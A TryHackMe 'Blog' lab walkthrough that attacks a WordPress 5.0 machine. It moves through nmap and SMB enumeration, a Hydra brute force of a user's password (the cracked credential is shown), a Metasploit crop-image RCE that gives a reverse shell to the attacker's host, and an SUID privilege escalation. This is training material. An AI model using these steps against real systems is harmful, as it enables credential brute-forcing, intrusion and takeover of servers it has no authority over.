Blog

tryhackme.com - © TryHackMe

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Intro

Room Info
🔗 Name	Blog
🎯 Target IP	10.10.54.35
📈 Difficulty level	🟡Medium
💲 Subscription type	Free
🐧 OS	Linux

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Recon

Add blog.thm to the /etc/hosts file

su
echo "10.10.54.35 blog.thm" >> /etc/hosts

# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

Start Reconnaissance

mkdir blog
cd blog
nmap blog.thm
    22/tcp  open  ssh
    80/tcp  open  http
    139/tcp open  netbios-ssn
    445/tcp open  microsoft-ds

nmap -sV -sC -Pn -oA blog blog.thm 

22/tcp  open  ssh  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 578ada90baed3a470c05a3f7a80a8d78 (RSA)
|   256 c264efabb19a1c87587c4bd50f204626 (ECDSA)
|_  256 5af26292118ead8a9b23822dad53bc16 (ED25519)
80/tcp  open  http  Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-generator: WordPress 5.0
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2023-05-15T08:44:45+00:00
| smb2-time: 
|   date: 2023-05-15T08:44:45
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
|_clock-skew: mean: 3s, deviation: 0s, median: 3s
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)

Enumerate web server application

nmap -p 80 --script=http-enum -sV blog.thm

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /wp-json: Possible admin folder
|   /robots.txt: Robots file
|   /readme.html: Wordpress version: 2 
|   /: WordPress version: 5.0
|   /feed/: Wordpress version: 5.0
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|   /readme.html: Interesting, a readme.
|_  /0/: Potentially interesting folder
|_http-server-header: Apache/2.4.29 (Ubuntu)

• http://blog.thm/

• http://blog.thm/robots.txt

  • Disallow: /wp-admin/

🚩 The web server uses the WordPress 5.0 CMS

• http://blog.thm/wp-admin/

  • tried default admin:password - does not work

Perform some SMB enumeration

nmap -p445 --script smb-protocols blog.thm
| smb-protocols: 
|   dialects: 
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     202
|     210
|     300
|     302
|_    311

smbmap -u guest -p "" -d . -H blog.thm

smbclient -L blog.thm -N
smbclient //blog.thm/BillySMB -N

get check-this.png
# This looks like a rabbit hole

enum4linux -a blog.thm

📌 Found local user bjoel

Enumerate all the WordPress users using WpScan

wpscan --url=http://blog.thm --enumerate u

📌 Found 2 WordPress users: bjoel, kwheel

Check for WordPress 5.0 vulnerabilities

searchsploit wordpress 5.0

There is a vulnerability called WordPress Core 5.0.0 - Crop-image Shell Upload

This module exploits a path traversal and a local file inclusion vulnerability on WordPress versions 5.0.0 and <= 4.9.8. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload. The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post.

Since Karen Wheeler has author access to the blog, brute force the user kwheel.

Navigate to http://blog.thm/wp-login.php and try a password with user kwheel. Copy the HTTP POST request in raw format, it is necessary for the Hydra command.

hydra -l kwheel -P /usr/share/wordlists/rockyou.txt blog.thm http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.54.35%2Fwp-admin%2F&testcookie=1:F=The password you entered for the username" -V

# Third string is the test condition, F: = test for failure. String got from the HTTP response.

# WPScan
echo -e 'kwheel'> user.txt
wpscan --url http://blog.thm -P /usr/share/wordlists/rockyou.txt -U user.txt -t 75

📌 kwheeler:cutiepie1

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Exploitation

Use Metasploit with module exploit/multi/http/wp_crop_rce

metasploit -q

setg RHOSTS blog.thm
setg RHOST blog.thm
use exploit/multi/http/wp_crop_rce
set LHOST 10.18.65.48
set USERNAME kwheel
set PASSWORD cutiepie1
run

shell
script -qc /bin/bash /dev/null

find / -type f -iname user.txt 2>/dev/null
ls /home/bjoel/
cat /home/bjoel/user.txt
    You won't find what you're looking for here.
    TRY HARDER

exit # to exit the shell

Download the .pdf file

download /home/bjoel/Billy_Joel_Termination_May20-2020.pdf

shell

ls /media/usb
ls: cannot open directory '/media/usb': Permission denied

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Privilege Escalation

find / -perm -u=s -type f 2>/dev/null

Try to run /usr/sbin/checker

/usr/sbin/checker
	Not an Admin

If ltrace is present on the machine use it. If not, download the file with Meterpreter and check it in Kali with ltrace or Ghidra.

ltrace /usr/sbin/checker

getenv("admin") 		= nil
puts("Not an Admin") 	= 13
Not an Admin
+++ exited (status 0) +++

The binary requires the admin environment variable to be declared

export admin=thm

/usr/sbin/checker

# root shell

root shell

find / -type f -iname user.txt 2>/dev/null
cat /media/usb/user.txt
c8421***************************

find / -type f -iname root.txt 2>/dev/null
cat /root/root.txt
9a0b2***************************

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